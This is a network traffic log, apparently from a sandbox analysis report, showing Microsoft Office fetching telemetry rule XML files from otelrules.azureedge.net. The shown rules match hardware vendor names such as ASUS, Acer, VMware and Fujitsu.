Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49733	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f66eff46-601e-0084-3c9d-276b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104517Z-r1755647c66z67vn9nc21z11a8000000078g000000004gnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49735	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: fcb0891e-801e-007b-6669-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104517Z-r1755647c66vpf8fnbgmzm21hs00000008ug000000004626 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49734	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9985b9b7-a01e-0021-5827-28814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104517Z-r1755647c66tsn7nz9wda692z0000000066g00000000548y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49736	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104517Z-17fbfdc98bbsw6nnfh43fuwvyn0000000650000000000980 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49737	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: abb1733e-f01e-005d-6a3c-2813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104518Z-r1755647c66gqcpzhw8q9nhnq000000008t0000000000hx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49738	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 898be286-601e-003d-2804-276f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104518Z-r1755647c666sbmsukk894ba7n00000005rg000000001d0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49739	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 77b1f39f-101e-0079-106b-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104518Z-r1755647c66ljccje5cnds62nc00000006kg000000005pe0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49740	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104518Z-17fbfdc98bbbnx4ldgze4de5zs00000006h000000000315u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49742	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 214ea441-b01e-00ab-0e9b-27dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104518Z-17fbfdc98bbx59j5xd9kpbrs8400000007d0000000002ydx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49746	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bb58e6ef-e01e-000c-4187-288e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104519Z-r1755647c66pzcrw3ktqe96x2s0000000950000000003wwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49747	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104519Z-r1755647c66x7vzx9armv8e3cw00000009fg000000005f8r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49749	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: faf669f2-101e-0065-23a4-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104519Z-r1755647c666qwwlm3r555dyqc000000087g000000000m6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 